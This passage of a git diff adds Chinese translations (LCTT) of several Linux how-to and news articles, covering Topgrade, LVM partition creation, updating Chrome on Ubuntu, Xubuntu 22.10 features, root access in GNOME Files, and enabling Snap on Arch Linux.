Pro 订阅吗? 或者,你认为你会每 5 年升级到新的 LTS 版本吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/ubuntu-pro-free/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[KevinZonda](https://github.com/KevinZonda) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/10/ubuntu-pro.jpg +[2]: https://youtu.be/qJL42AsfG6Q +[3]: https://news.itsfoss.com/content/images/2022/10/ubuntu-pro-benefits.png +[4]: https://ubuntu.com/security/livepatch +[5]: https://canonical.com/ +[6]: https://ubuntu.com/pro +[7]: https://ubuntu.com//blog/ubuntu-pro-beta-release +[8]: https://ubuntu.com/pro diff --git a/published/202210/20221006 Upgrade Various Kinds of Packages in Linux at Once With Topgrade.md b/published/202210/20221006 Upgrade Various Kinds of Packages in Linux at Once With Topgrade.md new file mode 100644 index 0000000000..e740daa671 --- /dev/null +++ b/published/202210/20221006 Upgrade Various Kinds of Packages in Linux at Once With Topgrade.md @@ -0,0 +1,152 @@ +[#]: subject: "Upgrade Various Kinds of Packages in Linux at Once With Topgrade" +[#]: via: "https://itsfoss.com/topgrade/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15134-1.html" + +使用 Topgrade 一次升级 Linux 中的各种软件包 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/12/152118mo5r6pohnn4o5h56.jpg) + +更新 Linux 系统并没有那么复杂,不是吗?毕竟,要更新 Ubuntu 之类的发行版,你只需要使用 `apt update` 和 `apt upgrade` 就行。 + +如果所有的包都是通过一个包管理器安装的,就会是这样。 + +但现在情况不再如此。你有经典的 apt/dnf/pacman,还有 Snap、Flatpak、Appimages。不止于此,你还可以使用 PIP(用于 Python)和 Cargo(用于 Rust)安装应用。 + +使用 Node? NPM 包需要单独更新。Oh My Zsh?需要单独更新。[Vim 中的插件][1]、Atom 等也可能不被 apt/dnf/pacman 覆盖。 + +你现在看到问题了吗?这就是名为 Topgrade 的新工具旨在解决的问题。 + +### Topgrade:处理各种更新的单一程序 + +[Topgrade][2] 是一个 CLI 程序,它会检测你使用的工具,然后运行适当的命令来更新它们。 + +![Topgrade disable system][3] + +除了通常的 Linux 包管理器,它还可以检测和更新 Brew、Cargo、PIP、Pihole、Vim 和 Emacs 插件、R 软件包等。你可以在 [维基页面][4] 上查看支持的包列表。 + +##### Topgrade 的主要特点: + +* 能够更新来自不同的包管理器的软件包,**包括固件**! +* 你可以如何控制更新包。 +* 高度可定制。 +* 甚至能够在更新包之前进行概览。 + +所以不要浪费任何时间,让我们跳到安装。 + +### 使用 Cargo 在 Linux 中安装 Topgrade + +安装过程非常简单,因为我将使用 Cargo 包管理器。 + +我们已经有了 [详细指南,其中包含设置 Cargo 包管理器的多种方法][5]。所以我将在我的示例中使用 Ubuntu 来快速完成。 + +因此,让我们以最少方式安装依赖项以及 Cargo: + +``` +sudo apt install cargo libssl-dev pkg-config +``` + +安装 Cargo 后,使用给定的命令安装 Topgrade: + +``` +cargo install topgrade +``` + +它会抛出一个警告: + +![cargo error][6] + +你只需添加 `cargo` 路径即可运行二进制文件。这可以通过给定的命令来完成,你需要使用你的用户名替换 `sagar`: + +``` +echo 'export PATH=$PATH:/home/sagar/.cargo/bin' >> /home/sagar/.bashrc +``` + +现在,重启系统,Topgrade 就可以使用了。但是等等,我们需要安装另一个包来更新 Cargo 以获取最新的包。 + +``` +cargo install cargo-update +``` + +这样我们完成了安装。 + +### 使用 Topgrade + +使用 Topgrade 非常简单。使用一个命令,就是这样: + +``` +topgrade +``` + +![][7] + +但这不会给你除了系统包之外的任何控制,但正如我所提到的,你可以将不想更新的仓库列入黑名单。 + +#### 从 Topgrade 中排除包管理器和仓库 + +假设我想排除 Snap 和从默认包管理器下载的包,所以我的命令是: + +``` +topgrade --disable snap system +``` + +![Topgrade disable snap system][8] + +要进行永久更改,你必须在其配置文件中进行一些更改,这些更改可以通过给定的命令访问: + +``` +topgrade --edit-config +``` + +对于此示例,我排除了 Snap 和默认系统仓库: + +![configuring Topgrade][9] + +#### 试运行 Topgrade + +评估将要更新的过时软件包总是一个好主意,我从 Topgrade 的整个目录中找到了这个最有用的选项。 + +你只需使用带有 `-n` 选项的 `topgrade` 命令,它就会生成过期软件包的摘要。 + +``` +topgrade -n +``` + +![summery of Topgrade][10] + +检查需要更新的软件包的一种简洁方法。 + +### 总结 + +在使用 Topgrade 几周后,它成为了我的 Linux 武器库中不可或缺的一部分。 像大多数其他 Linux 用户一样,我只是通过我的默认包管理器更新包。 Python 和 Rust 包被完全忽略了。 感谢 Topgrade,我的系统现在完全更新了。 + +我知道这不是每个人都想使用的工具。那你呢?愿意试一试吗? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/topgrade/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://linuxhandbook.com/install-vim-plugins/ +[2]: https://github.com/r-darwish/topgrade +[3]: https://itsfoss.com/wp-content/uploads/2022/09/topgrade-disable-system.png +[4]: https://github.com/r-darwish/topgrade/wiki/Step-list +[5]: https://itsfoss.com/install-rust-cargo-ubuntu-linux/ +[6]: https://itsfoss.com/wp-content/uploads/2022/09/cargo-error.png +[7]: https://itsfoss.com/wp-content/uploads/2022/10/topgrade.mp4 +[8]: https://itsfoss.com/wp-content/uploads/2022/09/topgrade-disable-snap-system.png +[9]: https://itsfoss.com/wp-content/uploads/2022/09/configuring-topgrade-1.png +[10]: https://itsfoss.com/wp-content/uploads/2022/09/summery-of-topgrade.png diff --git a/published/202210/20221008 How to Create LVM Partition Step-by-Step in Linux.md b/published/202210/20221008 How to Create LVM Partition Step-by-Step in Linux.md new file mode 100644 index 0000000000..a92fcb8f55 --- /dev/null +++ b/published/202210/20221008 How to Create LVM Partition Step-by-Step in Linux.md @@ -0,0 +1,218 @@ +[#]: subject: "How to Create LVM Partition Step-by-Step in Linux" +[#]: via: "https://www.linuxtechi.com/how-to-create-lvm-partition-in-linux/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15152-1.html" + +在 Linux 中创建 LVM 分区的分步指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/18/113615swffwazya3nyfve2.jpg) + +> 在本指南中,我们将逐步介绍如何在 Linux 中创建 LVM 分区。 + +LVM 代表 “逻辑卷管理Logical Volume Management”,它是专门为服务器管理 Linux 系统上的磁盘或存储的推荐方式。 LVM 分区的主要优点之一是我们可以实时扩展其大小而无需停机。 LVM 分区也可以缩小,但不推荐。 + +为了演示,我在我的 Ubuntu 22.04 系统上连接了 15GB 磁盘,我们将从命令行在该磁盘上创建 LVM 分区。 + +##### 准备 + +- 连接到 Linux 系统的原始磁盘 +- 具有 sudo 权限的本地用户 +- 预装 lvm2 包 + +事不宜迟,让我们深入了解这些步骤。 + +### 步骤 1、识别新连接的原始磁盘 + +登录到你的系统,打开终端并运行以下 `dmesg` 命令: + +``` +$ sudo dmesg | grep -i sd +``` + +在输出中,查找大小为 15GB 的新磁盘。 + +![dmesg-command-new-attached-disk-linux][1] + +识别新连接的原始磁盘的另一种方法是通过 `fdisk` 命令: + +``` +$ sudo fdisk -l | grep -i /dev/sd +``` + +输出: + +![fdisk-command-output-new-disk][2] + +从上面的输出,可以确认新连接的磁盘是 `/dev/sdb`。 + +### 步骤 2、创建 PV(物理卷) + +在开始在磁盘 `/dev/sdb` 上创建物理卷Physical Volume(PV)之前,请确保已安装 `lvm2` 包。如果未安装,请运行以下命令: + +``` +$ sudo apt install lvm2 // On Ubuntu / Debian +$ sudo dnf install lvm2 // on RHEL / CentOS +``` + +运行以下 `pvcreate` 命令在磁盘 `/dev/sdb` 上创建 PV: + +``` +$ sudo pvcreate /dev/sdb + Physical volume "/dev/sdb" successfully created. +$ +``` + +要验证 PV 状态,运行: + +``` +$ sudo pvs /dev/sdb +或者 +$ sudo pvdisplay /dev/sdb +``` + +![pvdisplay-command-output-linux][3] + +### 步骤 3、创建 VG(卷组) + +要创建卷组Volume Group(VG),我们将使用 `vgcreate` 命令。创建 VG 意味着将 PV 添加到其中。 + +语法: + +``` +$ sudo vgcreare +``` + +在我们的例子中,命令是: + +``` +$ sudo vgcreate volgrp01 /dev/sdb + Volume group "volgrp01" successfully created +$ +``` + +运行以下命令以验证 VG(`volgrp01`)的状态: + +``` +$ sudo vgs volgrp01 +或者 +$ sudo vgdisplay volgrp01 +``` + +上述命令的输出: + +![vgs-command-output-linux][4] + +以上输出确认大小为 15 GiB 的卷组 `volgrp01` 已成功创建,一个物理扩展Physical Extend(PE)的大小为 4 MB。创建 VG 时可以更改 PE 大小。 + +### 步骤 4、创建 LV(逻辑卷) + +`lvcreate` 命令用于从 VG 中创建逻辑卷Logical Volume LV。 `lvcreate` 命令的语法如下所示: + +``` +$ sudo lvcreate -L -n +``` + +在我们的例子中,以下命令将用于创建大小为 14 GB 的 LV: + +``` +$ sudo lvcreate -L 14G -n lv01 volgrp01 + Logical volume "lv01" created. +$ +``` + +验证 LV 的状态,运行: + +``` +$ sudo lvs /dev/volgrp01/lv01 +或者 +$ sudo lvdisplay /dev/volgrp01/lv01 +``` + +输出: + +![lvs-command-output-linux][5] + +上面的输出显示 LV(`lv01`)已成功创建,大小为 14 GiB。 + +### 步骤 5、格式化 LVM 分区 + +使用 `mkfs` 命令格式化 LVM 分区。在我们的例子中,LVM 分区是 `/dev/volgrp01/lv01`。 + +注意:我们可以将分区格式化为 ext4 或 xfs,因此请根据你的设置和要求选择文件系统类型。 + +运行以下命令将 LVM 分区格式化为 ext4 文件系统。 + +``` +$ sudo mkfs.ext4 /dev/volgrp01/lv01 +``` + +![mkfs-ext4-filesystem-lvm][6] + +执行下面的命令,用 xfs 文件系统格式化 LVM 分区: + +``` +$ sudo mkfs.xfs /dev/volgrp01/lv01 +``` + +要使用上述格式化分区,我们必须将其挂载到某个文件夹中。所以,让我们创建一个文件夹 `/mnt/data`: + +``` +$ sudo mkdir /mnt/data +``` + +现在运行 `mount` 命令将其挂载到 `/mnt/data` 文件夹: + +``` +$ sudo mount /dev/volgrp01/lv01 /mnt/data/ +$ df -Th /mnt/data/ +Filesystem Type Size Used Avail Use% Mounted on +/dev/mapper/volgrp01-lv01 ext4 14G 24K 13G 1% /mnt/data +$ +``` + +尝试创建一些没用的文件,运行以下命令: + +``` +$ cd /mnt/data/ +$ echo "testing lvm partition" | sudo tee dummy.txt +$ cat dummy.txt +testing lvm partition +$ +$ sudo rm -f dummy.txt +``` + +完美,以上命令输出确认我们可以访问 LVM 分区。 + +要永久挂载上述 LVM 分区,请使用以下 `echo` 命令将其条目添加到 `fstab` 文件中: + +``` +$ echo '/dev/volgrp01/lv01 /mnt/data ext4 defaults 0 0' | sudo tee -a /etc/fstab +$ sudo mount -a +``` + +以上就是本指南的全部内容,感谢阅读。请在下面的评论区发表你的问题和反馈。 + +--- + +via: https://www.linuxtechi.com/how-to-create-lvm-partition-in-linux/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/10/dmesg-command-new-attached-disk-linux.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/10/fdisk-command-output-new-disk.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/10/pvdisplay-command-output-linux.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/10/vgs-command-output-linux.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/10/lvs-command-output-linux.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/10/mkfs-ext4-filesystem-lvm.png diff --git a/published/202210/20221010 How to Update Google Chrome on Ubuntu Linux.md b/published/202210/20221010 How to Update Google Chrome on Ubuntu Linux.md new file mode 100644 index 0000000000..8c2ee3c263 --- /dev/null +++ b/published/202210/20221010 How to Update Google Chrome on Ubuntu Linux.md @@ -0,0 +1,96 @@ +[#]: subject: "How to Update Google Chrome on Ubuntu Linux" +[#]: via: "https://itsfoss.com/update-google-chrome-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15163-1.html" + +如何在 Ubuntu Linux 上更新谷歌 Chrome +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/22/085013gihsi4rtmpkmj4yb.png) + +> 你设法在你的 Ubuntu 系统上安装了谷歌 Chrome 浏览器。现在你想知道如何让浏览器保持更新。 + +在 Windows 和 macOS 上,当 Chrome 上有可用更新时,你会在浏览器中收到通知,你可以从浏览器中点击更新选项。 + +Linux 中的情况有所不同。你不会从浏览器更新 Chrome。你要使用系统更新对其进行更新。 + +是的。当 Chrome 上有可用的新更新时,Ubuntu 会通过系统更新工具通知你。 + +![当有新版本的 Chrome 可用时,Ubuntu 会发送通知][1] + +你只需单击“立即安装Install Now”按钮,在被提示时输入你的帐户密码并将 Chrome 更新到新版本。 + +让我告诉你为什么会在系统级别看到更新,以及如何在命令行中更新谷歌 Chrome。 + +### 方法 1:使用系统更新更新谷歌浏览器 + +你最初是如何安装 Chrome 的?你从 [Chrome 网站][2] 获得了 deb 安装程序文件,并使用它来 [在 Ubuntu 上安装 Chrome][3]。 + +当你这样做时,谷歌会在你系统的源列表中添加一个仓库条目。这样,你的系统就会信任来自谷歌仓库的包。 + +![谷歌 Chrome 存储库添加到 Ubuntu 系统][4] + +对于添加到系统中的所有此类条目,包更新通过 Ubuntu 更新程序集中进行。 + +这就是为什么当 Google Chrome(和其他已安装的应用)有可用更新时,你的 Ubuntu 系统会向你发送通知。 + +![Chrome 更新可通过系统更新与其他应用一起使用][5] + +**单击“立即安装Install Now”按钮并在要求时输入你的密码**。很快,系统将安装所有可升级的软件包。 + +根据更新偏好,通知可能不是立即的。如果需要,你可以手动运行更新程序工具并查看适用于你的 Ubuntu 系统的更新。 + +![运行软件更新程序以查看你的系统有哪些可用更新][6] + +### 方法 2:在 Ubuntu 命令行中更新 Chrome + +如果你更喜欢终端而不是图形界面,你也可以使用命令更新 Chrome。 + +打开终端,并依次运行以下命令: + +``` +sudo apt update + +sudo apt --only-upgrade install google-chrome-stable +``` + +第一条命令更新包缓存,以便你的系统知道可以升级哪些包。 + +第二条命令 [仅更新单个包][7],即谷歌 Chrome(安装为 `google-chrome-stable`)。 + +### 总结 + +如你所见,Ubuntu 比 Windows 更精简。你会随其他系统更新一起更新 Chrome。 + +顺便一提,如果你对它不满意,你可以了解 [从 Ubuntu 中删除 Google Chrome][8]。 + +Chrome 是一款不错的浏览器。你可以通过 [使用 Chrome 中的快捷方式][9] 来试验它,因为它使浏览体验更加流畅。 + +在 Ubuntu 上享受 Chrome! + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/update-google-chrome-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2021/06/chrome-edge-update-ubuntu.png +[2]: https://www.google.com/chrome/ +[3]: https://itsfoss.com/install-chrome-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2021/06/google-chrome-repo-ubuntu.png +[5]: https://itsfoss.com/wp-content/uploads/2021/06/chrome-edge-update-ubuntu.png +[6]: https://itsfoss.com/wp-content/uploads/2022/04/software-updater-ubuntu-22-04.jpg +[7]: https://itsfoss.com/apt-upgrade-single-package/ +[8]: https://itsfoss.com/uninstall-chrome-from-ubuntu/ +[9]: https://itsfoss.com/google-chrome-shortcuts/ \ No newline at end of file diff --git a/published/202210/20221010 Xubuntu 22.10- Top New Features.md b/published/202210/20221010 Xubuntu 22.10- Top New Features.md new file mode 100644 index 0000000000..ad19a4da95 --- /dev/null +++ b/published/202210/20221010 Xubuntu 22.10- Top New Features.md @@ -0,0 +1,123 @@ +[#]: subject: "Xubuntu 22.10: Top New Features" +[#]: via: "https://www.debugpoint.com/xubuntu-22-10-features/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15155-1.html" + +Xubuntu 22.10:热门新功能 +====== + +> 这是 Xubuntu 22.10 Kinetic Kudu 及其新功能的快速总结。 + +![Xubuntu 22.10 桌面][1] + +质量需要时间来建立。它适用于生活的各个方面,包括软件。 + +自 Xfce 4.16 发布以来,Xfce 4.17(开发版)已经被添加了许多新功能。这包括核心 Xfce、原生应用,GNOME 43、MATE 1.26 和 libadwaita。由于 Xfce 也是 GNOME 和 MATE 的组合,正确地合并和测试这些更改需要时间。 + +在 Xubuntu 22.10 Kinetic Kudu 版本中,你将体验到自 2020 年 12 月以来所做的所有改进:将近两年的错误修复和增强。 + +让我们快速查看一下时间表。目前,Xubuntu 22.10 beta 已经发布,并正在测试中(本问末尾提供了 ISO 链接)。最终版本预计于 2022 年 10 月 20 日发布。 + +### Xubuntu 22.10 新功能 + +#### 核心更新和 GNOME 框架 + +在其核心,Xubuntu 22.10 同其基于的 Ubuntu 22.10 一样,采用 Linux 内核 5.19。另外,Xfce 桌面版本是 Xfce 4.17。 + +4.17 版本是一个开发版,因为它是下一个大版本 Xfce 4.18 的基础,该版本 [计划在今年圣诞节发布][2]。 + +让我们谈谈 GNOME 和相关应用。 Xubuntu 22.10 中的 Xfce 4.17 首次获得了带有 GNOME 43 更新的 libadwaita。这意味着默认的 GNOME 应用程序可以在 Xfce 桌面下正确呈现。 + +这就是说,GNOME 软件应用Software 43 在 Xubuntu 22.10 的 Xfce 桌面下看起来很棒。如果你将其与 Xfce 原生外观和带有 CSD/SSD(例如 “磁盘应用Disk”)的 GNOME 应用进行比较,它们看起来都很顺眼。 + +我对 GNOME 软件应用 43 在 Xfce 桌面下的 libadwaita/GTK4 渲染效果如此之好感到惊讶。 + +![在 Xubuntu 22.10 中一起使用三种不同的窗口][3] + +#### Xfce 应用 + +Xfce 桌面带来了自己的原生应用集。在此版本中,所有应用都从 4.16 升级到 4.17 版本。 + +值得注意的变化包括:Xfce 面板获得了对任务列表插件的中键单击支持,和托盘时钟中的二进制时间模式。PulseAudio 插件引入了一个新的录音指示器,可以过滤掉多个按钮按下事件。 + +Thunar 文件管理器获得了大量的底层功能和错误修复。如果你将 Thunar 4.16 与 Thunar 4.17 进行比较,它是变化巨大的。更改包括更新的上下文菜单、路径栏、搜索、导航等。你可以在 [此处][4] 阅读 Thunar 的所有更改日志。 + +此外,截屏应用 ScreenShooter 默认支持 WebP。蓝牙管理器 Blueman 在系统托盘新增配置文件切换器,并更新了 Catfish 文件搜索工具。 + +这是 Xfce 应用版本的更新列表和指向其更改日志的链接(如果你想进一步挖掘)。 + +* Appfinder [4.17.0][5] +* Catfish [4.16.4][6] +* Mousepad [0.5.10][7] +* Panel [4.17.3][8] +* PulseAudio 插件 [0.4.4][9] +* Ristretto [0.12.3][10] +* Screenshooter [1.9.11][11] +* Task Manager [1.5.4][12] +* Terminal [1.0.4][13] +* Thunar [4.17.9][14] + +#### 外观和感觉 + +默认的 elementary-xfce 图标集(浅色和深色)得到了更新,带有额外的精美图标,让你的 Xfce 桌面焕然一新。默认的 Greybird GTK 主题对窗口装饰进行了必要的改进,并添加了 Openbox 支持。 + +你可能会注意到的重要且可见的变化之一是 `ALT+TAB` 外观。图标更大一些,眼睛更舒适,可以在深色背景下更快地切换窗口。 + +![在 Xubuntu 22.10 的 elementary-xfce 中更新的图标集示例][15] + +![ALT TAB 有更大的图标][16] + +上述更改使默认应用与其所基于的 [Ubuntu 22.10 版本][17] 保持一致。以下是 Xubuntu 22.10 中的更改概括。 + +### 概括 + +* Linux 内核 5.19,基于 Ubuntu 22.10 +* Xfce 桌面版 4.17 +* 原生应用全部更新到 4.17 +* 核心与 GNOME 43、libadwaita、GTK4 保持一致 +* MATE 应用程序升级到 1.26 +* Mozilla Firefox 网页浏览器 105.0 +* Thunderbird 邮件客户端 102.3 +* LibreOffice 7.4.4.2 + +### 总结 + +Xfce 桌面最关键的整体变化将在 4.18 版本中到来。例如,最初的 Wayland 支持、更新的 glib 和 GTK 包。如果一切顺利,你可以在明年 4 月发布的 Xubuntu 中期待这些最好的变化。 + +最后,如果你想试用,可以从 [这个页面][18] 下载 Beta 镜像。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/xubuntu-22-10-features/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/Xubuntu-22.10-Desktop-1024x563.jpg +[2]: https://debugpointnews.com/xfce-4-18-announcement/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/10/Three-different-window-decorations-together-in-Xubuntu-22.10.jpg +[4]: https://gitlab.xfce.org/xfce/thunar/-/blob/master/NEWS +[5]: https://gitlab.xfce.org/xfce/xfce4-appfinder/-/blob/master/NEWS +[6]: https://gitlab.xfce.org/apps/catfish/-/blob/master/NEWS +[7]: https://gitlab.xfce.org/apps/mousepad/-/blob/master/NEWS +[8]: https://gitlab.xfce.org/xfce/xfce4-panel/-/blob/master/NEWS +[9]: https://gitlab.xfce.org/panel-plugins/xfce4-pulseaudio-plugin/-/blob/master/NEWS +[10]: https://gitlab.xfce.org/apps/ristretto/-/blob/master/NEWS +[11]: https://gitlab.xfce.org/apps/xfce4-screenshooter/-/blob/master/NEWS +[12]: https://gitlab.xfce.org/apps/xfce4-taskmanager/-/blob/master/NEWS +[13]: https://gitlab.xfce.org/apps/xfce4-terminal/-/blob/master/NEWS +[14]: https://gitlab.xfce.org/xfce/thunar/-/blob/master/NEWS +[15]: https://www.debugpoint.com/wp-content/uploads/2022/10/Refreshed-icon-set-sample-in-elementary-xfce-with-Xubuntu-22.10.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2022/10/ALT-TAB-is-refreshed-with-larger-icons.jpg +[17]: https://www.debugpoint.com/ubuntu-22-10/ +[18]: https://cdimage.ubuntu.com/xubuntu/releases/kinetic/beta/ diff --git a/published/202210/20221011 Easiest Way to Open Files as Root in GNOME Files.md b/published/202210/20221011 Easiest Way to Open Files as Root in GNOME Files.md new file mode 100644 index 0000000000..e8854cf6d7 --- /dev/null +++ b/published/202210/20221011 Easiest Way to Open Files as Root in GNOME Files.md @@ -0,0 +1,80 @@ +[#]: subject: "Easiest Way to Open Files as Root in GNOME Files" +[#]: via: "https://www.debugpoint.com/gnome-files-root-access/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15168-1.html" + +在 GNOME 文件应用中以 Root 身份打开文件的最简单方法 +====== + +> 这是在 GNOME 文件应用中以 root 身份访问文件或目录的最简单方法。 + +![][1] + +在 Windows 中,你通常可以在右键单击上下文菜单中以“以管理员身份打开”的方式打开文件或文件夹。 + +该功能是文件管理器的一部分,对于 Windows,它是 Windows 资源管理器的一部分。但是,它是由操作系统及其权限控制模块执行的。 + +在 Linux 发行版及其文件管理器中,情况略有不同。不同的桌面有自己的处理方式。 + +由于以管理员(root)身份修改文件和文件夹是有风险的,并且可能导致系统损坏,因此用户无法通过文件管理器的 GUI 轻松使用该功能。 + +例如,KDE Plasma 的默认文件管理器(Dolphin)最近 [添加了此功能][2],因此当需要 root 权限时,它会通过 PolicyKit KDE Agent(polkit)窗口询问你,如下所示。 + +![使用 Polkit 实现 KIO 后的 Dolphin root 访问权限][3] + +而不是相反的方式。比如,你想在文件管理器中通过 root 打开/执行一些东西时,你不能使用 `sudo dolphin` 以 root 权限运行文件管理器本身。 + +在某种程度上,它挽救了许多不可预见的情况。但是高级用户总是可以通过终端使用 `sudo` 来完成他们的工作。 + +### GNOME 文件应用(Nautilus)和对文件、目录的 root 访问权限 + +话虽如此,[GNOME 文件应用][4](又名 Nautilus)有一种方法可以通过 root 打开文件和文件夹。 + +以下是方法: + +* 打开 GNOME 文件应用(Nautilus)。 +* 然后单击左侧窗格中的“其他位置Other Locations”。 +* 按 `CTRL+L` 调出地址栏。 +* 在地址栏中,输入下面的内容并回车。 + ``` + admin:/// + ``` +* 它会要求输入管理员密码。当你成功验证,你就会以管理员身份打开系统。 +* 现在,从这里开始,无论你做什么,它都是管理员或 root。 + +![以管理员身份输入位置地址][5] + +![输入管理员密码][6] + +![以 root 身份打开 GNOME 文件应用][7] + +但是,与往常一样,请小心你作为管理员所做的事情。在你以 root 身份验证自己之后,通常很容易忘记。 + +这些选项不容易看到总是有原因的,以防止你和许多新的 Linux 用户破坏他们的系统。 + +祝好。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-files-root-access/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/10/nauroot-1024x576.jpg +[2]: https://www.debugpoint.com/dolphin-root-access/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/02/Dolphin-root-access-after-KIO-with-Polkit-implementation.jpg +[4]: https://wiki.gnome.org/Apps/Files +[5]: https://www.debugpoint.com/wp-content/uploads/2022/10/Enter-the-location-address-as-admin.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/10/Give-admin-password.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/10/Opening-GNOME-Files-as-root.jpg diff --git a/published/202210/20221011 How to Enable Snap Support in Arch Linux.md b/published/202210/20221011 How to Enable Snap Support in Arch Linux.md new file mode 100644 index 0000000000..f48d40ea70 --- /dev/null +++ b/published/202210/20221011 How to Enable Snap Support in Arch Linux.md @@ -0,0 +1,149 @@ +[#]: subject: "How to Enable Snap Support in Arch Linux" +[#]: via: "https://itsfoss.com/install-snap-arch-linux/" +[#]: author: "Pranav Krishna https://itsfoss.com/author/pranav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15160-1.html" + +如何在 Arch Linux 中启用 Snap 支持 +====== + +![](https://img.linux.net.cn/data/attachment/album/202210/21/100128gzzqkf3fcg3f6q3n.jpg) + +Snap 是由 Ubuntu 的母公司 Canonical 设计的通用包格式。有些人不喜欢 Snap,但它有一些优势。 + +通常,某些应用仅以 Snap 格式提供。这为你提供了在 Arch Linux 中启用 Snap 的充分理由。 + +我知道 AUR 拥有大量应用,但 Snap 应用通常直接来自开发人员。 + +如果你希望能够在 Arch Linux 中安装 Snap 应用,你需要先启用 Snap 支持。 + +有两种方法可以做到: + +* 使用 AUR 助手启用 Snap 支持(更简单) +* 通过从 AUR 获取包,手动启用 Snap 支持 + +让我们看看怎么做。 + +### 方法 1、使用 AUR 助手启用 Snap + +Snap 支持在 Arch 用户仓库中以 `snapd` 包的形式提供。你可以使用 AUR 助手轻松安装它。 + +有 [许多 AUR 助手][1],但 `yay` 是我更喜欢的,因为它的语法类似于 [pacman 命令][2]。 + +如果你还没有安装 AUR,请使用以下命令安装 Yay(需要事先安装 `git`): + +``` +git clone https://aur.archlinux.org/yay + +cd yay + +makepkg -si +``` + +![安装 yay][3] + +现在 `yay` 已安装,你可以通过以下方式安装 `snapd`: + +``` +yay -Sy snapd +``` + +![使用 yay 从 AUR 安装 snapd][4] + +每当你 [更新 Arch Linux][5] 系统时,`yay` 都会启用 `snapd` 的自动更新。 + +#### 验证 Snap 支持是否有效 + +要测试 Snap 支持是否正常工作,请安装并运行 `hello-world` Snap 包。 + +``` +sudo snap install hello-world + +hello-world +(或者) +sudo snap run hello-world +``` + +![hello-world Snap 包执行][6] + +如果它运行良好,那么你可以轻松安装其他 Snap 包。 + +### 方法 2、从 AUR 手动构建 snapd 包 + +如果你不想使用 AUR 助手,你仍然可以从 AUR 获取 `snapd`。让我展示详细的过程。 + +你需要先安装一些构建工具。 + +``` +sudo pacman -Sy git go go-tools python-docutils +``` + +![为 Snap 安装依赖项][7] + +完成依赖项安装后,现在可以克隆 `snapd` 的 